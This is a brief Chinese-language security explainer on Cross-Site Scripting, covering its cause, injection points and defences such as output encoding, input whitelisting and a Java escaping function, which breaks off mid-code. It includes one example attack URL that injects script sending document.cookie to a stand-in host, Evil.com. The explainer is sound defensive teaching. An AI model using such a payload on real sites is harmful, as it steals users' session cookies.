Cross-Site Scripting(XSS)攻擊
常見的弱點 Cross-Site Scripting 也稱 XSS。 弱點描述 資料從不可信賴的來源進入後端網頁程式, 而程式再傳送未經驗證的資料到網路瀏覽器中, 導致瀏覽器執行惡意的程式碼。 搜尋列 網址列 留言版 任何使用者有機會可以竄改的位置… 核心原因 傳送未經驗證的資料到網路瀏覽器,導致瀏覽器執行惡意程式碼。 弱點應用 客製惡意編碼 https://URL/results.aspx?search= location.replace(" http://www.Evil.com/getcookie.asp? k= " +document.cookie) 相關新聞 重磅:利用麥當勞網站的漏洞獲取使用者密碼 https://www.itread01.com/p/1386721.html 修改建議 確保內容在正確位置進行驗證,並檢查屬性是否正確。 內容驗證 作為通用原則,永遠不要相信來自使用者的輸入。 每個GET、POST和cookie值都可以是任何值,因此應該進行驗證。 輸出任何這些值時,請將它們轉譯,避免被竄改。 可以參考報告中提供的正規化函數:htmlspecialchars() 輸出編碼(Output encoding) 限制或轉換輸入內容 將輸出的內容轉為 HTML Entities 框架: Microsoft Anti-Cross Site Scripting Library JAVA: DeXSS -- Java program for removing JavaScript from HTML 函數: Server.HTMLencode() htmlentities() 來源過濾 (Input validation) 白名單:限制長度及合法字元 黑名單:避免一開始使用黑名單,可能有漏網之魚 資料消毒:移除非法字元 Sample Code 針對特殊字元編碼 public static String HtmlSpecialChars(String source) { StringBuilder sb = new StringBuilder(); for (int i = 0 ; i ...